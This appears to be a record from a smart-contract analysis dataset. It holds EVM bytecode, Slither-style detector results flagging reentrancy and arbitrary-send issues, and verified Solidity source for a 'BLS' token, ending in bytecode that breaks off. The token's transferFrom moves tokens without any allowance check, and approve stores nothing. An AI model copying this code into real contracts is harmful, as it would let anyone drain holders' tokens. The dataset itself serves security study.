00000000000000000000000000000000000000000000000000815260040161119f90612f9f565b60405180910390fd5b6111d760646111c983683635c9adc5dea000006120f990919063ffffffff16565b61217490919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120e919061307f565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611318576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130f9061303f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611388576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137f90612f5f565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611466919061307f565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114da9061301f565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611553576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154a90612eff565b60405180910390fd5b60008111611596576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158d90612fff565b60405180910390fd5b61159e610fd2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160c57506115dc610fd2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b6f57600f60179054906101000a900460ff161561183f573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168e57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e85750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117425750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183e57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117886112a0565b73ffffffffffffffffffffffffffffffffffffffff1614806117fe5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e66112a0565b73ffffffffffffffffffffffffffffffffffffffff16145b61183d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118349061305f565b60405180910390fd5b5b5b60105481111561184e57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f25750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fb57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a65750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fc5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a145750600f60179054906101000a900460ff165b15611ab55742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6457600080fd5b601e42611a7191906131b5565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac030610e2e565b9050600f60159054906101000a900460ff16158015611b2d5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b455750600f60169054906101000a900460ff165b15611b6d57611b5381611dff565b60004790506000811115611b6b57611b6a47611c96565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c165750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2057600090505b611c2c848484846121be565b50505050565b6000838311158290611c7a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c719190612edd565b60405180910390fd5b5060008385611c899190613296565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611ce660028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d11573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d6260028461217490919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d8d573d6000803e3d6000fd5b5050565b6000600654821115611dd8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dcf90612f3f565b60405180910390fd5b6000611de26121eb565b9050611df7818461217490919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e5d577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611e8b5781602001602082028036833780820191505090505b5090503081600081518110611ec9577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f6b57600080fd5b505afa158015611f7f573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fa3919061294c565b81600181518110611fdd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061204430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a8565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120a895949392919061309a565b600060405180830381600087803b1580156120c257600080fd5b505af11580156120d6573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561210c576000905061216e565b6000828461211a919061323c565b9050828482612129919061320b565b14612169576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161216090612fbf565b60405180910390fd5b809150505b92915050565b60006121b683836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612216565b905092915050565b806121cc576121cb612279565b5b6121d78484846122aa565b806121e5576121e4612475565b5b50505050565b60008060006121f8612487565b9150915061220f818361217490919063ffffffff16565b9250505090565b6000808311829061225d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122549190612edd565b60405180910390fd5b506000838561226c919061320b565b9050809150509392505050565b600060085414801561228d57506000600954145b15612297576122a8565b600060088190555060006009819055505b565b6000806000806000806122bc876124e9565b95509550955095509550955061231a86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461255190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123af85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123fb816125f9565b61240584836126b6565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051612462919061307f565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000683635c9adc5dea0000090506124bd683635c9adc5dea0000060065461217490919063ffffffff16565b8210156124dc57600654683635c9adc5dea000009350935050506124e5565b81819350935050505b9091565b60008060008060008060008060006125068a6008546009546126f0565b92509250925060006125166121eb565b905060008060006125298e878787612786565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061259383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c32565b905092915050565b60008082846125aa91906131b5565b9050838110156125ef576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016125e690612f7f565b60405180910390fd5b8091505092915050565b60006126036121eb565b9050600061261a82846120f990919063ffffffff16565b905061266e81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461259b90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126cb8260065461255190919063ffffffff16565b6006819055506126e68160075461259b90919063ffffffff16565b6007819055505050565b60008060008061271c606461270e888a6120f990919063ffffffff16565b61217490919063ffffffff16565b905060006127466064612738888b6120f990919063ffffffff16565b61217490919063ffffffff16565b9050600061276f82612761858c61255190919063ffffffff16565b61255190919063ffffffff16565b905080838395509550955050505093509350939050565b60008060008061279f85896120f990919063ffffffff16565b905060006127b686896120f990919063ffffffff16565b905060006127cd87896120f990919063ffffffff16565b905060006127f6826127e8858761255190919063ffffffff16565b61255190919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061282261281d84613134565b61310f565b9050808382526020820190508285602086028201111561284157600080fd5b60005b858110156128715781612857888261287b565b845260208401935060208301925050600181019050612844565b5050509392505050565b60008135905061288a81613772565b92915050565b60008151905061289f81613772565b92915050565b600082601f8301126128b657600080fd5b81356128c684826020860161280f565b91505092915050565b6000813590506128de81613789565b92915050565b6000815190506128f381613789565b92915050565b600081359050612908816137a0565b92915050565b60008151905061291d816137a0565b92915050565b60006020828403121561293557600080fd5b60006129438482850161287b565b91505092915050565b60006020828403121561295e57600080fd5b600061296c84828501612890565b91505092915050565b6000806040838503121561298857600080fd5b60006129968582860161287b565b92505060206129a78582860161287b565b9150509250929050565b6000806000606084860312156129c657600080fd5b60006129d48682870161287b565b93505060206129e58682870161287b565b92505060406129f6868287016128f9565b9150509250925092565b60008060408385031215612a1357600080fd5b6000612a218582860161287b565b9250506020612a32858286016128f9565b9150509250929050565b600060208284031215612a4e57600080fd5b600082013567ffffffffffffffff811115612a6857600080fd5b612a74848285016128a5565b91505092915050565b600060208284031215612a8f57600080fd5b6000612a9d848285016128cf565b91505092915050565b600060208284031215612ab857600080fd5b6000612ac6848285016128e4565b91505092915050565b600060208284031215612ae157600080fd5b6000612aef848285016128f9565b91505092915050565b600080600060608486031215612b0d57600080fd5b6000612b1b8682870161290e565b9350506020612b2c8682870161290e565b9250506040612b3d8682870161290e565b9150509250925092565b6000612b538383612b5f565b60208301905092915050565b612b68816132ca565b82525050565b612b77816132ca565b82525050565b6000612b8882613170565b612b928185613193565b9350612b9d83613160565b8060005b83811015612bce578151612bb58882612b47565b9750612bc083613186565b925050600181019050612ba1565b5085935050505092915050565b612be4816132dc565b82525050565b612bf38161331f565b82525050565b6000612c048261317b565b612c0e81856131a4565b9350612c1e818560208601613331565b612c278161346b565b840191505092915050565b6000612c3f6023836131a4565b9150612c4a8261347c565b604082019050919050565b6000612c62601a836131a4565b9150612c6d826134cb565b602082019050919050565b6000612c85602a836131a4565b9150612c90826134f4565b604082019050919050565b6000612ca86022836131a4565b9150612cb382613543565b604082019050919050565b6000612ccb601b836131a4565b9150612cd682613592565b602082019050919050565b6000612cee601d836131a4565b9150612cf9826135bb565b602082019050919050565b6000612d116021836131a4565b9150612d1c826135e4565b604082019050919050565b6000612d346020836131a4565b9150612d3f82613633565b602082019050919050565b6000612d576029836131a4565b9150612d628261365c565b604082019050919050565b6000612d7a6025836131a4565b9150612d85826136ab565b604082019050919050565b6000612d9d6024836131a4565b9150612da8826136fa565b604082019050919050565b6000612dc06011836131a4565b9150612dcb82613749565b602082019050919050565b612ddf81613308565b82525050565b612dee81613312565b82525050565b6000602082019050612e096000830184612b6e565b92915050565b6000604082019050612e246000830185612b6e565b612e316020830184612b6e565b9392505050565b6000604082019050612e4d6000830185612b6e565b612e5a6020830184612dd6565b9392505050565b600060c082019050612e766000830189612b6e565b612e836020830188612dd6565b612e906040830187612bea565b612e9d6060830186612bea565b612eaa6080830185612b6e565b612eb760a0830184612dd6565b979650505050505050565b6000602082019050612ed76000830184612bdb565b92915050565b60006020820190508181036000830152612ef78184612bf9565b905092915050565b60006020820190508181036000830152612f1881612c32565b9050919050565b60006020820190508181036000830152612f3881612c55565b9050919050565b60006020820190508181036000830152612f5881612c78565b9050919050565b60006020820190508181036000830152612f7881612c9b565b9050919050565b60006020820190508181036000830152612f9881612cbe565b9050919050565b60006020820190508181036000830152612fb881612ce1565b9050919050565b60006020820190508181036000830152612fd881612d04565b9050919050565b60006020820190508181036000830152612ff881612d27565b9050919050565b6000602082019050818103600083015261301881612d4a565b9050919050565b6000602082019050818103600083015261303881612d6d565b9050919050565b6000602082019050818103600083015261305881612d90565b9050919050565b6000602082019050818103600083015261307881612db3565b9050919050565b60006020820190506130946000830184612dd6565b92915050565b600060a0820190506130af6000830188612dd6565b6130bc6020830187612bea565b81810360408301526130ce8186612b7d565b90506130dd6060830185612b6e565b6130ea6080830184612dd6565b9695505050505050565b60006020820190506131096000830184612de5565b92915050565b600061311961312a565b90506131258282613364565b919050565b6000604051905090565b600067ffffffffffffffff82111561314f5761314e61343c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131c082613308565b91506131cb83613308565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613200576131ff6133de565b5b828201905092915050565b600061321682613308565b915061322183613308565b9250826132315761323061340d565b5b828204905092915050565b600061324782613308565b915061325283613308565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561328b5761328a6133de565b5b828202905092915050565b60006132a182613308565b91506132ac83613308565b9250828210156132bf576132be6133de565b5b828203905092915050565b60006132d5826132e8565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061332a82613308565b9050919050565b60005b8381101561334f578082015181840152602081019050613334565b8381111561335e576000848401525b50505050565b61336d8261346b565b810181811067ffffffffffffffff8211171561338c5761338b61343c565b5b80604052505050565b60006133a082613308565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133d3576133d26133de565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61377b816132ca565b811461378657600080fd5b50565b613792816132dc565b811461379d57600080fd5b50565b6137a981613308565b81146137b457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220a5a28bfb82e8f63d50592c98e9e2a82e27764075ddce516f6bf8d4de0337a17b64736f6c63430008040033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
10,226
0x451Bf237D9160E10cC5FfEE88193a9E85ca4c9E9
/** *Submitted for verification at Etherscan.io on 2022-03-18 */ // SPDX-License-Identifier: MIT pragma solidity ^0.6.2; library EnumerableSet { struct Set { bytes32[] _values; mapping (bytes32 => uint256) _indexes; } function _add(Set storage set, bytes32 value) private returns (bool) { if (!_contains(set, value)) { set._values.push(value); set._indexes[value] = set._values.length; return true; } else { return false; } } function _remove(Set storage set, bytes32 value) private returns (bool) { uint256 valueIndex = set._indexes[value]; if (valueIndex != 0) { uint256 toDeleteIndex = valueIndex - 1; uint256 lastIndex = set._values.length - 1; bytes32 lastvalue = set._values[lastIndex]; set._values[toDeleteIndex] = lastvalue; set._indexes[lastvalue] = toDeleteIndex + 1; set._values.pop(); delete set._indexes[value]; return true; } else { return false; } } function _contains(Set storage set, bytes32 value) private view returns (bool) { return set._indexes[value] != 0; } function _length(Set storage set) private view returns (uint256) { return set._values.length; } function _at(Set storage set, uint256 index) private view returns (bytes32) { require(set._values.length > index, "EnumerableSet: index out of bounds"); return set._values[index]; } struct AddressSet { Set _inner; } function add(AddressSet storage set, address value) internal returns (bool) { return _add(set._inner, bytes32(uint256(value))); } function remove(AddressSet storage set, address value) internal returns (bool) { return _remove(set._inner, bytes32(uint256(value))); } function contains(AddressSet storage set, address value) internal view returns (bool) { return _contains(set._inner, bytes32(uint256(value))); } function length(AddressSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(AddressSet storage set, uint256 index) internal view returns (address) { return address(uint256(_at(set._inner, index))); } struct UintSet { Set _inner; } function add(UintSet storage set, uint256 value) internal returns (bool) { return _add(set._inner, bytes32(value)); } function remove(UintSet storage set, uint256 value) internal returns (bool) { return _remove(set._inner, bytes32(value)); } function contains(UintSet storage set, uint256 value) internal view returns (bool) { return _contains(set._inner, bytes32(value)); } function length(UintSet storage set) internal view returns (uint256) { return _length(set._inner); } function at(UintSet storage set, uint256 index) internal view returns (uint256) { return uint256(_at(set._inner, index)); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() internal virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _totalSupply; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); emit Approval(owner, spender, amount); } function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } contract Lockable is Context { event Locked(address account); event Unlocked(address account); mapping(address => bool) private _locked; function locked(address _to) internal view returns (bool) { return _locked[_to]; } function _lock(address to) internal virtual { require(to != address(0), "ERC20: lock to the zero address"); _locked[to] = true; emit Locked(to); } function _unlock(address to) internal virtual { require(to != address(0), "ERC20: lock to the zero address"); _locked[to] = false; emit Unlocked(to); } } contract ERC20PresetMinterPauser is Context, ERC20, Lockable, Ownable { constructor(string memory name, string memory symbol) internal ERC20(name, symbol) { } function mint(address to, uint256 amount) internal virtual onlyOwner { _mint(to, amount); } function lock(address to) public virtual onlyOwner { _lock(to); } function unlock(address to) public virtual onlyOwner { _unlock(to); } function burn(uint256 amount) public virtual onlyOwner { _burn(_msgSender(), amount*(10**uint256(decimals()))); } } contract CreateToken is ERC20PresetMinterPauser { constructor () ERC20PresetMinterPauser("BLS", "BLS") public { mint(msg.sender, 9000*(10**8)*(10**uint256(decimals()))); } }
0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c806342966c681161008c57806395d89b411161006657806395d89b411461028e578063a9059cbb14610296578063f2fde38b146102c2578063f435f5a7146102e8576100cf565b806342966c681461022757806370a08231146102445780638da5cb5b1461026a576100cf565b806306fdde03146100d4578063095ea7b31461015157806318160ddd1461019157806323b872dd146101ab5780632f6c493c146101e1578063313ce56714610209575b600080fd5b6100dc61030e565b6040805160208082528351818301528351919283929083019185019080838360005b838110156101165781810151838201526020016100fe565b50505050905090810190601f1680156101435780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61017d6004803603604081101561016757600080fd5b506001600160a01b0381351690602001356103a1565b604080519115158252519081900360200190f35b6101996103be565b60408051918252519081900360200190f35b61017d600480360360608110156101c157600080fd5b506001600160a01b038135811691602081013590911690604001356103c4565b610207600480360360208110156101f757600080fd5b50356001600160a01b03166103db565b005b61021161043f565b6040805160ff9092168252519081900360200190f35b6102076004803603602081101561023d57600080fd5b5035610448565b6101996004803603602081101561025a57600080fd5b50356001600160a01b03166104c0565b6102726104db565b604080516001600160a01b039092168252519081900360200190f35b6100dc6104ea565b61017d600480360360408110156102ac57600080fd5b506001600160a01b03813516906020013561054b565b610207600480360360208110156102d857600080fd5b50356001600160a01b031661055f565b610207600480360360208110156102fe57600080fd5b50356001600160a01b0316610658565b60028054604080516020601f60001961010060018716150201909416859004938401819004810282018101909252828152606093909290918301828280156103975780601f1061036c57610100808354040283529160200191610397565b820191906000526020600020905b81548152906001019060200180831161037a57829003601f168201915b5050505050905090565b60006103b56103ae6106b9565b84846106bd565b50600192915050565b60015490565b60006103d1848484610797565b5060019392505050565b6103e36106b9565b6006546001600160a01b03908116911614610433576040805162461bcd60e51b81526020600482018190526024820152600080516020610d62833981519152604482015290519081900360640190fd5b61043c816108fe565b50565b60045460ff1690565b6104506106b9565b6006546001600160a01b039081169116146104a0576040805162461bcd60e51b81526020600482018190526024820152600080516020610d62833981519152604482015290519081900360640190fd5b61043c6104ab6106b9565b6104b361043f565b60ff16600a0a83026109b1565b6001600160a01b031660009081526020819052604090205490565b6006546001600160a01b031690565b60038054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103975780601f1061036c57610100808354040283529160200191610397565b60006103b56105586106b9565b8484610797565b6105676106b9565b6006546001600160a01b039081169116146105b7576040805162461bcd60e51b81526020600482018190526024820152600080516020610d62833981519152604482015290519081900360640190fd5b6001600160a01b0381166105fc5760405162461bcd60e51b8152600401808060200182810382526026815260200180610cf46026913960400191505060405180910390fd5b6006546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a3600680546001600160a01b0319166001600160a01b0392909216919091179055565b6106606106b9565b6006546001600160a01b039081169116146106b0576040805162461bcd60e51b81526020600482018190526024820152600080516020610d62833981519152604482015290519081900360640190fd5b61043c81610ab9565b3390565b6001600160a01b0383166107025760405162461bcd60e51b8152600401808060200182810382526024815260200180610dc86024913960400191505060405180910390fd5b6001600160a01b0382166107475760405162461bcd60e51b8152600401808060200182810382526022815260200180610d1a6022913960400191505060405180910390fd5b816001600160a01b0316836001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b6001600160a01b0383166107dc5760405162461bcd60e51b8152600401808060200182810382526025815260200180610da36025913960400191505060405180910390fd5b6001600160a01b0382166108215760405162461bcd60e51b8152600401808060200182810382526023815260200180610caf6023913960400191505060405180910390fd5b61082c838383610b6f565b61086f81604051806060016040528060268152602001610d3c602691396001600160a01b038616600090815260208190526040902054919063ffffffff610b7416565b6001600160a01b0380851660009081526020819052604080822093909355908416815220546108a4908263ffffffff610c0b16565b6001600160a01b0380841660008181526020